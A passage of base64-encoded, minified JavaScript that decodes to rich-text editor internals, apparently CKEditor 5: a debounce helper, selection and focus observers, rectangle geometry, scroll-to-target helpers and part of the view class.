0dXJuIGQ/Zih0KTpzfWZ1bmN0aW9uIGcodCl7dmFyIG49dC1jLGk9dC1sLG89ZS1uO3JldHVybiB1P3BoKG8sci1pKTpvfWZ1bmN0aW9uIHAodCl7dmFyIG49dC1jLGk9dC1sO3JldHVybiBjPT09dW5kZWZpbmVkfHxuPj1lfHxuPDB8fHUmJmk+PXJ9ZnVuY3Rpb24gaygpe3ZhciB0PXJoKCk7aWYocCh0KSl7cmV0dXJuIGIodCl9YT1zZXRUaW1lb3V0KGssZyh0KSl9ZnVuY3Rpb24gYih0KXthPXVuZGVmaW5lZDtpZihoJiZpKXtyZXR1cm4gZih0KX1pPW89dW5kZWZpbmVkO3JldHVybiBzfWZ1bmN0aW9uIHcoKXtpZihhIT09dW5kZWZpbmVkKXtjbGVhclRpbWVvdXQoYSl9bD0wO2k9Yz1vPWE9dW5kZWZpbmVkfWZ1bmN0aW9uIEMoKXtyZXR1cm4gYT09PXVuZGVmaW5lZD9zOmIocmgoKSl9ZnVuY3Rpb24gQSgpe3ZhciB0PXJoKCksbj1wKHQpO2k9YXJndW1lbnRzO289dGhpcztjPXQ7aWYobil7aWYoYT09PXVuZGVmaW5lZCl7cmV0dXJuIG0oYyl9aWYodSl7Y2xlYXJUaW1lb3V0KGEpO2E9c2V0VGltZW91dChrLGUpO3JldHVybiBmKGMpfX1pZihhPT09dW5kZWZpbmVkKXthPXNldFRpbWVvdXQoayxlKX1yZXR1cm4gc31BLmNhbmNlbD13O0EuZmx1c2g9QztyZXR1cm4gQX12YXIgYmg9a2g7Y2xhc3Mgd2ggZXh0ZW5kcyB0dXtjb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0aGlzLl9maXJlU2VsZWN0aW9uQ2hhbmdlRG9uZURlYm91bmNlZD1iaCgodD0+dGhpcy5kb2N1bWVudC5maXJlKCJzZWxlY3Rpb25DaGFuZ2VEb25lIix0KSksMjAwKX1vYnNlcnZlKCl7Y29uc3QgdD10aGlzLmRvY3VtZW50O3Qub24oImtleWRvd24iLCgoZSxuKT0+e2NvbnN0IGk9dC5zZWxlY3Rpb247aWYoaS5pc0Zha2UmJkZsKG4ua2V5Q29kZSkmJnRoaXMuaXNFbmFibGVkKXtuLnByZXZlbnREZWZhdWx0KCk7dGhpcy5faGFuZGxlU2VsZWN0aW9uTW92ZShuLmtleUNvZGUpfX0pLHtwcmlvcml0eToibG93ZXN0In0pfWRlc3Ryb3koKXtzdXBlci5kZXN0cm95KCk7dGhpcy5fZmlyZVNlbGVjdGlvbkNoYW5nZURvbmVEZWJvdW5jZWQuY2FuY2VsKCl9X2hhbmRsZVNlbGVjdGlvbk1vdmUodCl7Y29uc3QgZT10aGlzLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBuPW5ldyBwbChlLmdldFJhbmdlcygpLHtiYWNrd2FyZDplLmlzQmFja3dhcmQsZmFrZTpmYWxzZX0pO2lmKHQ9PUxsLmFycm93bGVmdHx8dD09TGwuYXJyb3d1cCl7bi5zZXRUbyhuLmdldEZpcnN0UG9zaXRpb24oKSl9aWYodD09TGwuYXJyb3dyaWdodHx8dD09TGwuYXJyb3dkb3duKXtuLnNldFRvKG4uZ2V0TGFzdFBvc2l0aW9uKCkpfWNvbnN0IGk9e29sZFNlbGVjdGlvbjplLG5ld1NlbGVjdGlvbjpuLGRvbVNlbGVjdGlvbjpudWxsfTt0aGlzLmRvY3VtZW50LmZpcmUoInNlbGVjdGlvbkNoYW5nZSIsaSk7dGhpcy5fZmlyZVNlbGVjdGlvbkNoYW5nZURvbmVEZWJvdW5jZWQoaSl9fWNsYXNzIENoIGV4dGVuZHMgdHV7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5tdXRhdGlvbk9ic2VydmVyPXQuZ2V0T2JzZXJ2ZXIodGgpO3RoaXMuc2VsZWN0aW9uPXRoaXMuZG9jdW1lbnQuc2VsZWN0aW9uO3RoaXMuZG9tQ29udmVydGVyPXQuZG9tQ29udmVydGVyO3RoaXMuX2RvY3VtZW50cz1uZXcgV2Vha1NldDt0aGlzLl9maXJlU2VsZWN0aW9uQ2hhbmdlRG9uZURlYm91bmNlZD1iaCgodD0+dGhpcy5kb2N1bWVudC5maXJlKCJzZWxlY3Rpb25DaGFuZ2VEb25lIix0KSksMjAwKTt0aGlzLl9jbGVhckluZmluaXRlTG9vcEludGVydmFsPXNldEludGVydmFsKCgoKT0+dGhpcy5fY2xlYXJJbmZpbml0ZUxvb3AoKSksMWUzKTt0aGlzLl9sb29wYmFja0NvdW50ZXI9MH1vYnNlcnZlKHQpe2NvbnN0IGU9dC5vd25lckRvY3VtZW50O2lmKHRoaXMuX2RvY3VtZW50cy5oYXMoZSkpe3JldHVybn10aGlzLmxpc3RlblRvKGUsInNlbGVjdGlvbmNoYW5nZSIsKCh0LG4pPT57dGhpcy5faGFuZGxlU2VsZWN0aW9uQ2hhbmdlKG4sZSl9KSk7dGhpcy5fZG9jdW1lbnRzLmFkZChlKX1kZXN0cm95KCl7c3VwZXIuZGVzdHJveSgpO2NsZWFySW50ZXJ2YWwodGhpcy5fY2xlYXJJbmZpbml0ZUxvb3BJbnRlcnZhbCk7dGhpcy5fZmlyZVNlbGVjdGlvbkNoYW5nZURvbmVEZWJvdW5jZWQuY2FuY2VsKCl9X2hhbmRsZVNlbGVjdGlvbkNoYW5nZSh0LGUpe2lmKCF0aGlzLmlzRW5hYmxlZCl7cmV0dXJufWNvbnN0IG49ZS5kZWZhdWx0Vmlldy5nZXRTZWxlY3Rpb24oKTtpZih0aGlzLmNoZWNrU2hvdWxkSWdub3JlRXZlbnRGcm9tVGFyZ2V0KG4uYW5jaG9yTm9kZSkpe3JldHVybn10aGlzLm11dGF0aW9uT2JzZXJ2ZXIuZmx1c2goKTtjb25zdCBpPXRoaXMuZG9tQ29udmVydGVyLmRvbVNlbGVjdGlvblRvVmlldyhuKTtpZihpLnJhbmdlQ291bnQ9PTApe3RoaXMudmlldy5oYXNEb21TZWxlY3Rpb249ZmFsc2U7cmV0dXJufXRoaXMudmlldy5oYXNEb21TZWxlY3Rpb249dHJ1ZTtpZih0aGlzLnNlbGVjdGlvbi5pc0VxdWFsKGkpJiZ0aGlzLmRvbUNvbnZlcnRlci5pc0RvbVNlbGVjdGlvbkNvcnJlY3Qobikpe3JldHVybn1pZigrK3RoaXMuX2xvb3BiYWNrQ291bnRlcj42MCl7cmV0dXJufWlmKHRoaXMuc2VsZWN0aW9uLmlzU2ltaWxhcihpKSl7dGhpcy52aWV3LmZvcmNlUmVuZGVyKCl9ZWxzZXtjb25zdCB0PXtvbGRTZWxlY3Rpb246dGhpcy5zZWxlY3Rpb24sbmV3U2VsZWN0aW9uOmksZG9tU2VsZWN0aW9uOm59O3RoaXMuZG9jdW1lbnQuZmlyZSgic2VsZWN0aW9uQ2hhbmdlIix0KTt0aGlzLl9maXJlU2VsZWN0aW9uQ2hhbmdlRG9uZURlYm91bmNlZCh0KX19X2NsZWFySW5maW5pdGVMb29wKCl7dGhpcy5fbG9vcGJhY2tDb3VudGVyPTB9fWNsYXNzIEFoIGV4dGVuZHMgbmh7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5kb21FdmVudFR5cGU9WyJmb2N1cyIsImJsdXIiXTt0aGlzLnVzZUNhcHR1cmU9dHJ1ZTtjb25zdCBlPXRoaXMuZG9jdW1lbnQ7ZS5vbigiZm9jdXMiLCgoKT0+e2UuaXNGb2N1c2VkPXRydWU7dGhpcy5fcmVuZGVyVGltZW91dElkPXNldFRpbWVvdXQoKCgpPT50LmZvcmNlUmVuZGVyKCkpLDUwKX0pKTtlLm9uKCJibHVyIiwoKG4saSk9Pntjb25zdCBvPWUuc2VsZWN0aW9uLmVkaXRhYmxlRWxlbWVudDtpZihvPT09bnVsbHx8bz09PWkudGFyZ2V0KXtlLmlzRm9jdXNlZD1mYWxzZTt0LmZvcmNlUmVuZGVyKCl9fSkpfW9uRG9tRXZlbnQodCl7dGhpcy5maXJlKHQudHlwZSx0KX1kZXN0cm95KCl7aWYodGhpcy5fcmVuZGVyVGltZW91dElkKXtjbGVhclRpbWVvdXQodGhpcy5fcmVuZGVyVGltZW91dElkKX1zdXBlci5kZXN0cm95KCl9fWNsYXNzIF9oIGV4dGVuZHMgbmh7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5kb21FdmVudFR5cGU9WyJjb21wb3NpdGlvbnN0YXJ0IiwiY29tcG9zaXRpb251cGRhdGUiLCJjb21wb3NpdGlvbmVuZCJdO2NvbnN0IGU9dGhpcy5kb2N1bWVudDtlLm9uKCJjb21wb3NpdGlvbnN0YXJ0IiwoKCk9PntlLmlzQ29tcG9zaW5nPXRydWV9KSk7ZS5vbigiY29tcG9zaXRpb25lbmQiLCgoKT0+e2UuaXNDb21wb3Npbmc9ZmFsc2V9KSl9b25Eb21FdmVudCh0KXt0aGlzLmZpcmUodC50eXBlLHQpfX1jbGFzcyB2aCBleHRlbmRzIG5oe2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3RoaXMuZG9tRXZlbnRUeXBlPVsiYmVmb3JlaW5wdXQiXX1vbkRvbUV2ZW50KHQpe3RoaXMuZmlyZSh0LnR5cGUsdCl9fWZ1bmN0aW9uIHloKHQpe3JldHVybiBPYmplY3QucHJvdG90eXBlLnRvU3RyaW5nLmFwcGx5KHQpPT0iW29iamVjdCBSYW5nZV0ifWZ1bmN0aW9uIHhoKHQpe2NvbnN0IGU9dC5vd25lckRvY3VtZW50LmRlZmF1bHRWaWV3LmdldENvbXB1dGVkU3R5bGUodCk7cmV0dXJue3RvcDpwYXJzZUludChlLmJvcmRlclRvcFdpZHRoLDEwKSxyaWdodDpwYXJzZUludChlLmJvcmRlclJpZ2h0V2lkdGgsMTApLGJvdHRvbTpwYXJzZUludChlLmJvcmRlckJvdHRvbVdpZHRoLDEwKSxsZWZ0OnBhcnNlSW50KGUuYm9yZGVyTGVmdFdpZHRoLDEwKX19Y29uc3QgRGg9WyJ0b3AiLCJyaWdodCIsImJvdHRvbSIsImxlZnQiLCJ3aWR0aCIsImhlaWdodCJdO2NsYXNzIEVoe2NvbnN0cnVjdG9yKHQpe2NvbnN0IGU9eWgodCk7T2JqZWN0LmRlZmluZVByb3BlcnR5KHRoaXMsIl9zb3VyY2UiLHt2YWx1ZTp0Ll9zb3VyY2V8fHQsd3JpdGFibGU6dHJ1ZSxlbnVtZXJhYmxlOmZhbHNlfSk7aWYoWXIodCl8fGUpe2lmKGUpe2NvbnN0IGU9RWguZ2V0RG9tUmFuZ2VSZWN0cyh0KTtNaCh0aGlzLEVoLmdldEJvdW5kaW5nUmVjdChlKSl9ZWxzZXtNaCh0aGlzLHQuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkpfX1lbHNlIGlmKFFkKHQpKXtjb25zdHtpbm5lcldpZHRoOmUsaW5uZXJIZWlnaHQ6bn09dDtNaCh0aGlzLHt0b3A6MCxyaWdodDplLGJvdHRvbTpuLGxlZnQ6MCx3aWR0aDplLGhlaWdodDpufSl9ZWxzZXtNaCh0aGlzLHQpfX1jbG9uZSgpe3JldHVybiBuZXcgRWgodGhpcyl9bW92ZVRvKHQsZSl7dGhpcy50b3A9ZTt0aGlzLnJpZ2h0PXQrdGhpcy53aWR0aDt0aGlzLmJvdHRvbT1lK3RoaXMuaGVpZ2h0O3RoaXMubGVmdD10O3JldHVybiB0aGlzfW1vdmVCeSh0LGUpe3RoaXMudG9wKz1lO3RoaXMucmlnaHQrPXQ7dGhpcy5sZWZ0Kz10O3RoaXMuYm90dG9tKz1lO3JldHVybiB0aGlzfWdldEludGVyc2VjdGlvbih0KXtjb25zdCBlPXt0b3A6TWF0aC5tYXgodGhpcy50b3AsdC50b3ApLHJpZ2h0Ok1hdGgubWluKHRoaXMucmlnaHQsdC5yaWdodCksYm90dG9tOk1hdGgubWluKHRoaXMuYm90dG9tLHQuYm90dG9tKSxsZWZ0Ok1hdGgubWF4KHRoaXMubGVmdCx0LmxlZnQpfTtlLndpZHRoPWUucmlnaHQtZS5sZWZ0O2UuaGVpZ2h0PWUuYm90dG9tLWUudG9wO2lmKGUud2lkdGg8MHx8ZS5oZWlnaHQ8MCl7cmV0dXJuIG51bGx9ZWxzZXtyZXR1cm4gbmV3IEVoKGUpfX1nZXRJbnRlcnNlY3Rpb25BcmVhKHQpe2NvbnN0IGU9dGhpcy5nZXRJbnRlcnNlY3Rpb24odCk7aWYoZSl7cmV0dXJuIGUuZ2V0QXJlYSgpfWVsc2V7cmV0dXJuIDB9fWdldEFyZWEoKXtyZXR1cm4gdGhpcy53aWR0aCp0aGlzLmhlaWdodH1nZXRWaXNpYmxlKCl7Y29uc3QgdD10aGlzLl9zb3VyY2U7bGV0IGU9dGhpcy5jbG9uZSgpO2lmKCFTaCh0KSl7bGV0IG49dC5wYXJlbnROb2RlfHx0LmNvbW1vbkFuY2VzdG9yQ29udGFpbmVyO3doaWxlKG4mJiFTaChuKSl7Y29uc3QgdD1uZXcgRWgobik7Y29uc3QgaT1lLmdldEludGVyc2VjdGlvbih0KTtpZihpKXtpZihpLmdldEFyZWEoKTxlLmdldEFyZWEoKSl7ZT1pfX1lbHNle3JldHVybiBudWxsfW49bi5wYXJlbnROb2RlfX1yZXR1cm4gZX1pc0VxdWFsKHQpe2Zvcihjb25zdCBlIG9mIERoKXtpZih0aGlzW2VdIT09dFtlXSl7cmV0dXJuIGZhbHNlfX1yZXR1cm4gdHJ1ZX1jb250YWlucyh0KXtjb25zdCBlPXRoaXMuZ2V0SW50ZXJzZWN0aW9uKHQpO3JldHVybiEhKGUmJmUuaXNFcXVhbCh0KSl9ZXhjbHVkZVNjcm9sbGJhcnNBbmRCb3JkZXJzKCl7Y29uc3QgdD10aGlzLl9zb3VyY2U7bGV0IGUsbixpO2lmKFFkKHQpKXtlPXQuaW5uZXJXaWR0aC10LmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aDtuPXQuaW5uZXJIZWlnaHQtdC5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50SGVpZ2h0O2k9dC5nZXRDb21wdXRlZFN0eWxlKHQuZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5kaXJlY3Rpb259ZWxzZXtjb25zdCBvPXhoKHRoaXMuX3NvdXJjZSk7ZT10Lm9mZnNldFdpZHRoLXQuY2xpZW50V2lkdGgtby5sZWZ0LW8ucmlnaHQ7bj10Lm9mZnNldEhlaWdodC10LmNsaWVudEhlaWdodC1vLnRvcC1vLmJvdHRvbTtpPXQub3duZXJEb2N1bWVudC5kZWZhdWx0Vmlldy5nZXRDb21wdXRlZFN0eWxlKHQpLmRpcmVjdGlvbjt0aGlzLmxlZnQrPW8ubGVmdDt0aGlzLnRvcCs9by50b3A7dGhpcy5yaWdodC09by5yaWdodDt0aGlzLmJvdHRvbS09by5ib3R0b207dGhpcy53aWR0aD10aGlzLnJpZ2h0LXRoaXMubGVmdDt0aGlzLmhlaWdodD10aGlzLmJvdHRvbS10aGlzLnRvcH10aGlzLndpZHRoLT1lO2lmKGk9PT0ibHRyIil7dGhpcy5yaWdodC09ZX1lbHNle3RoaXMubGVmdCs9ZX10aGlzLmhlaWdodC09bjt0aGlzLmJvdHRvbS09bjtyZXR1cm4gdGhpc31zdGF0aWMgZ2V0RG9tUmFuZ2VSZWN0cyh0KXtjb25zdCBlPVtdO2NvbnN0IG49QXJyYXkuZnJvbSh0LmdldENsaWVudFJlY3RzKCkpO2lmKG4ubGVuZ3RoKXtmb3IoY29uc3QgdCBvZiBuKXtlLnB1c2gobmV3IEVoKHQpKX19ZWxzZXtsZXQgbj10LnN0YXJ0Q29udGFpbmVyO2lmKHVkKG4pKXtuPW4ucGFyZW50Tm9kZX1jb25zdCBpPW5ldyBFaChuLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpKTtpLnJpZ2h0PWkubGVmdDtpLndpZHRoPTA7ZS5wdXNoKGkpfXJldHVybiBlfXN0YXRpYyBnZXRCb3VuZGluZ1JlY3QodCl7Y29uc3QgZT17bGVmdDpOdW1iZXIuUE9TSVRJVkVfSU5GSU5JVFksdG9wOk51bWJlci5QT1NJVElWRV9JTkZJTklUWSxyaWdodDpOdW1iZXIuTkVHQVRJVkVfSU5GSU5JVFksYm90dG9tOk51bWJlci5ORUdBVElWRV9JTkZJTklUWX07bGV0IG49MDtmb3IoY29uc3QgaSBvZiB0KXtuKys7ZS5sZWZ0PU1hdGgubWluKGUubGVmdCxpLmxlZnQpO2UudG9wPU1hdGgubWluKGUudG9wLGkudG9wKTtlLnJpZ2h0PU1hdGgubWF4KGUucmlnaHQsaS5yaWdodCk7ZS5ib3R0b209TWF0aC5tYXgoZS5ib3R0b20saS5ib3R0b20pfWlmKG49PTApe3JldHVybiBudWxsfWUud2lkdGg9ZS5yaWdodC1lLmxlZnQ7ZS5oZWlnaHQ9ZS5ib3R0b20tZS50b3A7cmV0dXJuIG5ldyBFaChlKX19ZnVuY3Rpb24gTWgodCxlKXtmb3IoY29uc3QgbiBvZiBEaCl7dFtuXT1lW25dfX1mdW5jdGlvbiBTaCh0KXtpZighWXIodCkpe3JldHVybiBmYWxzZX1yZXR1cm4gdD09PXQub3duZXJEb2N1bWVudC5ib2R5fWNvbnN0IFRoPXt9O2Z1bmN0aW9uIEloKHt0YXJnZXQ6dCx2aWV3cG9ydE9mZnNldDplPTB9KXtjb25zdCBuPWpoKHQpO2xldCBpPW47bGV0IG89bnVsbDt3aGlsZShpKXtsZXQgcjtpZihpPT1uKXtyPUZoKHQpfWVsc2V7cj1GaChvKX1QaChyLCgoKT0+VmgodCxpKSkpO2NvbnN0IHM9VmgodCxpKTtCaChpLHMsZSk7aWYoaS5wYXJlbnQhPWkpe289aS5mcmFtZUVsZW1lbnQ7aT1pLnBhcmVudDtpZighbyl7cmV0dXJufX1lbHNle2k9bnVsbH19fWZ1bmN0aW9uIE5oKHQpe2NvbnN0IGU9RmgodCk7UGgoZSwoKCk9Pm5ldyBFaCh0KSkpfU9iamVjdC5hc3NpZ24oVGgse3Njcm9sbFZpZXdwb3J0VG9TaG93VGFyZ2V0OkloLHNjcm9sbEFuY2VzdG9yc1RvU2hvd1RhcmdldDpOaH0pO2Z1bmN0aW9uIEJoKHQsZSxuKXtjb25zdCBpPWUuY2xvbmUoKS5tb3ZlQnkoMCxuKTtjb25zdCBvPWUuY2xvbmUoKS5tb3ZlQnkoMCwtbik7Y29uc3Qgcj1uZXcgRWgodCkuZXhjbHVkZVNjcm9sbGJhcnNBbmRCb3JkZXJzKCk7Y29uc3Qgcz1bbyxpXTtpZighcy5ldmVyeSgodD0+ci5jb250YWlucyh0KSkpKXtsZXR7c2Nyb2xsWDpzLHNjcm9sbFk6YX09dDtpZihMaChvLHIpKXthLT1yLnRvcC1lLnRvcCtufWVsc2UgaWYoemgoaSxyKSl7YSs9ZS5ib3R0b20tci5ib3R0b20rbn1pZihPaChlLHIpKXtzLT1yLmxlZnQtZS5sZWZ0K259ZWxzZSBpZihSaChlLHIpKXtzKz1lLnJpZ2h0LXIucmlnaHQrbn10LnNjcm9sbFRvKHMsYSl9fWZ1bmN0aW9uIFBoKHQsZSl7Y29uc3Qgbj1qaCh0KTtsZXQgaSxvO3doaWxlKHQhPW4uZG9jdW1lbnQuYm9keSl7bz1lKCk7aT1uZXcgRWgodCkuZXhjbHVkZVNjcm9sbGJhcnNBbmRCb3JkZXJzKCk7aWYoIWkuY29udGFpbnMobykpe2lmKExoKG8saSkpe3Quc2Nyb2xsVG9wLT1pLnRvcC1vLnRvcH1lbHNlIGlmKHpoKG8saSkpe3Quc2Nyb2xsVG9wKz1vLmJvdHRvbS1pLmJvdHRvbX1pZihPaChvLGkpKXt0LnNjcm9sbExlZnQtPWkubGVmdC1vLmxlZnR9ZWxzZSBpZihSaChvLGkpKXt0LnNjcm9sbExlZnQrPW8ucmlnaHQtaS5yaWdodH19dD10LnBhcmVudE5vZGV9fWZ1bmN0aW9uIHpoKHQsZSl7cmV0dXJuIHQuYm90dG9tPmUuYm90dG9tfWZ1bmN0aW9uIExoKHQsZSl7cmV0dXJuIHQudG9wPGUudG9wfWZ1bmN0aW9uIE9oKHQsZSl7cmV0dXJuIHQubGVmdDxlLmxlZnR9ZnVuY3Rpb24gUmgodCxlKXtyZXR1cm4gdC5yaWdodD5lLnJpZ2h0fWZ1bmN0aW9uIGpoKHQpe2lmKHloKHQpKXtyZXR1cm4gdC5zdGFydENvbnRhaW5lci5vd25lckRvY3VtZW50LmRlZmF1bHRWaWV3fWVsc2V7cmV0dXJuIHQub3duZXJEb2N1bWVudC5kZWZhdWx0Vmlld319ZnVuY3Rpb24gRmgodCl7aWYoeWgodCkpe2xldCBlPXQuY29tbW9uQW5jZXN0b3JDb250YWluZXI7aWYodWQoZSkpe2U9ZS5wYXJlbnROb2RlfXJldHVybiBlfWVsc2V7cmV0dXJuIHQucGFyZW50Tm9kZX19ZnVuY3Rpb24gVmgodCxlKXtjb25zdCBuPWpoKHQpO2NvbnN0IGk9bmV3IEVoKHQpO2lmKG49PT1lKXtyZXR1cm4gaX1lbHNle2xldCB0PW47d2hpbGUodCE9ZSl7Y29uc3QgZT10LmZyYW1lRWxlbWVudDtjb25zdCBuPW5ldyBFaChlKS5leGNsdWRlU2Nyb2xsYmFyc0FuZEJvcmRlcnMoKTtpLm1vdmVCeShuLmxlZnQsbi50b3ApO3Q9dC5wYXJlbnR9fXJldHVybiBpfWNsYXNzIFVoe2NvbnN0cnVjdG9yKHQpe3RoaXMuZG9jdW1lbnQ9bmV3IGJsKHQpO3RoaXMuZG9tQ29udmVydGVyPW5ldyBHZCh0aGlzLmRvY3VtZW50KTt0aGlzLmRvbVJvb3RzPW5ldyBNYXA7dGhpcy5zZXQoImlzUmVuZGVyaW5nSW5Qcm9ncmVzcyIsZmFsc2UpO3RoaXMuc2V0KCJoYXNEb21TZWxlY3Rpb24iLGZhbHNlKTt0aGlzLl9yZW5kZXJlcj1uZXcgSWQodGhpcy5kb21Db252ZXJ0ZXIsdGhpcy5kb2N1bWVudC5zZWxlY3Rpb24pO3RoaXMuX3JlbmRlcmVyLmJpbmQoImlzRm9jdXNlZCIpLnRvKHRoaXMuZG9jdW1lbnQpO3RoaXMuX2luaXRpYWxEb21Sb290QXR0cmlidXRlcz1uZXcgV2Vha01hcDt0aGlzLl9vYnNlcnZlcnM9bmV3IE1hcDt0aGlzLl9vbmdvaW5nQ2hhbmdlPWZhbHNlO3RoaXMuX3Bvc3RGaXhlcnNJblByb2dyZXNzPWZhbHNlO3RoaXMuX3JlbmRlcmluZ0Rpc2FibGVkPWZhbHNlO3RoaXMuX2hhc0NoYW5nZWRTaW5jZVRoZUxhc3RSZW5kZXJpbmc9ZmFsc2U7dGhpcy5fd3JpdGVyPW5ldyBYbCh0aGlzLmRvY3VtZW50KTt0aGlzLmFkZE9ic2VydmVyKHRoKTt0aGlzLmFkZE9ic2VydmVyKENoKTt0aGlzLmFkZE9ic2VydmVyKEFoKTt0aGlzLmFkZE9ic2VydmVyKGloKTt0aGlzLmFkZE9ic2VydmVyKHdoKTt0aGlzLmFkZE9ic2VydmVyKF9oKTtpZihFbC5pc0FuZHJvaWQpe3RoaXMuYWRkT2JzZXJ2ZXIodmgpfXdkKHRoaXMpO0tsKHRoaXMpO3RoaXMub24oInJlbmRlciIsKCgpPT57dGhpcy5fcmVuZGVyKCk7dGhpcy5kb2N1bWVudC5maXJlKCJsYXlvdXRDaGFuZ2VkIik7dGhpcy5faGFzQ2hhbmdlZFNpbmNlVGhlTGFzdFJlbmRlcmluZz1mYWxzZX0pKTt0aGlzLmxpc3RlblRvKHRoaXMuZG9jdW1lbnQuc2VsZWN0aW9uLCJjaGFuZ2UiLCgoKT0+e3RoaXMuX2hhc0NoYW5nZWRTaW5jZVRoZUxhc3RSZW5kZXJpbmc9dHJ1ZX0pKX1hdHRhY2hEb21Sb290KHQsZT0ibWFpbiIpe2NvbnN0IG49dGhpcy5kb2N1bWVudC5nZXRSb290KGUpO24uX25hbWU9dC50YWdOYW1lLnRvTG93ZXJDYXNlKCk7Y29uc3QgaT17fTtmb3IoY29uc3R7bmFtZTplLHZhbHVlOm99b2YgQXJyYXkuZnJvbSh0LmF0dHJpYnV0ZXMpKXtpW2VdPW87aWYoZT09PSJjbGFzcyIpe3RoaXMuX3dyaXRlci5hZGRDbGFzcyhvLnNwbGl0KCIgIiksbil9ZWxzZXt0aGlzLl93cml0ZXIuc2V0QXR0cmlidXRlKGUsbyxuKX19dGhpcy5faW5pdGlhbERvbVJvb3RBdHRyaWJ1dGVzLnNldCh0LGkpO2NvbnN0IG89KCk9Pnt0aGlzLl93cml0ZXIuc2V0QXR0cmlidXRlKCJjb250ZW50ZWRpdGFibGUiLCFuLmlzUmVhZE9ubHksbik7aWYobi5pc1JlYWRPbmx5KXt0aGlzLl93cml0ZXIuYWRkQ2xhc3MoImNrLXJlYWQtb25seSIsbil9ZWxzZXt0aGlzLl93cml0ZXIucmVtb3ZlQ2xhc3MoImNrLXJlYWQtb25seSIsbil9fTtvKCk7dGhpcy5kb21Sb290cy5zZXQoZSx0KTt0aGlzLmRvbUNvbnZlcnRlci5iaW5kRWxlbWVudHModCxuKTt0aGlzLl9yZW5kZXJlci5tYXJrVG9TeW5jKCJjaGlsZHJlbiIsbik7dGhpcy5fcmVuZGVyZXIubWFya1RvU3luYygiYXR0cmlidXRlcyIsbik7dGhpcy5fcmVuZGVyZXIuZG9tRG9jdW1lbnRzLmFkZCh0Lm93bmVyRG9jdW1lbnQpO24ub24oImNoYW5nZTpjaGlsZHJlbiIsKCh0LGUpPT50aGlzLl9yZW5kZXJlci5tYXJrVG9TeW5jKCJjaGlsZHJlbiIsZSkpKTtuLm9uKCJjaGFuZ2U6YXR0cmlidXRlcyIsKCh0LGUpPT50aGlzLl9yZW5kZXJlci5tYXJrVG9TeW5jKCJhdHRyaWJ1dGVzIixlKSkpO24ub24oImNoYW5nZTp0ZXh0IiwoKHQsZSk9PnRoaXMuX3JlbmRlcmVyLm1hcmtUb1N5bmMoInRleHQiLGUpKSk7bi5vbigiY2hhbmdlOmlzUmVhZE9ubHkiLCgoKT0+dGhpcy5jaGFuZ2UobykpKTtuLm9uKCJjaGFuZ2UiLCgoKT0+e3RoaXMuX2hhc0NoYW5nZWRTaW5jZVRoZUxhc3RSZW5kZXJpbmc9dHJ1ZX0pKTtmb3IoY29uc3QgbiBvZiB0aGlzLl9vYnNlcnZlcnMudmFsdWVzKCkpe24ub2JzZXJ2ZSh0LGUpfX1kZXRhY2hEb21Sb290KHQpe2NvbnN0IGU9dGhpcy5kb21Sb290cy5nZXQodCk7QXJyYXkuZnJvbShlLmF0dHJpYnV0ZXMpLmZvckVhY2goKCh7bmFtZTp0fSk9PmUucmVtb3ZlQXR0cmlidXRlKHQpKSk7Y29uc3Qgbj10aGlzLl9pbml0aWFsRG9tUm9vdEF0dHJpYnV0ZXMuZ2V0KGUpO2Zvcihjb25zdCB0IGluIG4pe2Uuc2V0QXR0cmlidXRlKHQsblt0XSl9dGhpcy5kb21Sb290cy5kZWxldGUodCk7dGhpcy5kb21Db252ZXJ0ZXIudW5iaW5kRG9tRWxlbWVudChlKX1nZXREb21Sb290KHQ9Im1haW4iKXtyZXR1cm4gdGhpcy5kb21Sb290cy5nZXQodCl9YWRkT2JzZXJ2ZXIodCl7bGV0IGU9dGhpcy5fb2JzZXJ2ZXJzLmdldCh0KTtpZihlKXtyZXR1cm4gZX1lPW5ldyB0KHRoaXMpO3RoaXMuX29ic2VydmVycy5zZXQodCxlKTtmb3IoY29uc3RbdCxuXW9mIHRoaXMuZG9tUm9vdHMpe2Uub2JzZXJ2ZShuLHQpfWUuZW5hYmxlKCk7cmV0dXJuIGV9Z2V0T2JzZXJ2ZXIodCl7cmV0dXJuIHRoaXMuX29ic2VydmVycy5nZXQodCl9ZGlzYWJsZU9ic2VydmVycygpe2Zvcihjb25zdCB0IG9mIHRoaXMuX29ic2VydmVycy52YWx1ZXMoKSl7dC5kaXNhYmxlKCl9fWVuYWJsZU9ic2VydmVycygpe2Zvcihjb25zdCB0IG9mIHRoaXMuX29ic2VydmVycy52YWx1ZXMoKSl7dC5lbmFibGUoKX19c2Nyb2xsVG9UaGVTZWxlY3Rpb24oKXtjb25zdCB0PXRoaXMuZG9jdW1lbnQuc2VsZWN0aW9uLmdldEZpcnN0UmFuZ2UoKTtpZih0KXtJaCh7dGFyZ2V0OnRoaXMuZG9tQ29udmVydGVyLnZpZXdSYW5nZVRvRG9tKHQpLHZpZXdwb3J0T2Zmc2V0OjIwfSl9fWZvY3VzKCl7aWYoIXRoaXMuZG9jdW1lbnQuaXNGb2N1c2VkKXtjb25zdCB0PXRoaXMuZG9jdW1lbnQuc2VsZWN0aW9uLmVkaXRhYmxlRWxlbWVudDtpZih0KXt0aGlzLmRvbUNvbnZlcnRlci5mb2N1cyh0KTt0aGlzLmZvcmNlUmVuZGVyKCl9ZWxzZXt9fX1jaGFuZ2UodCl7aWYodGhpcy5pc1JlbmRlcmluZ0luUHJvZ3Jlc3N8fHRoaXMuX3Bvc3RGaXhlcnNJblByb2dyZXNzKXt0aHJvdyBuZXcgc3NbImEiXSgiY2Fubm90LWNoYW5nZS12aWV3LXRyZWUiLHRoaXMpfXRyeXtpZih0aGlzLl9vbmdvaW5nQ2hhbmdlKXtyZXR1cm4gdCh0aGlzLl93cml0ZXIpfXRoaXMuX29uZ29pbmdDaGFuZ2U9dHJ1ZTtjb25zdCBlPXQodGhpcy5fd3JpdGVyKTt0aGlzLl9vbmdvaW5nQ2hhbmdlPWZhbHNlO2lmKCF0aGlzLl9yZW5kZXJpb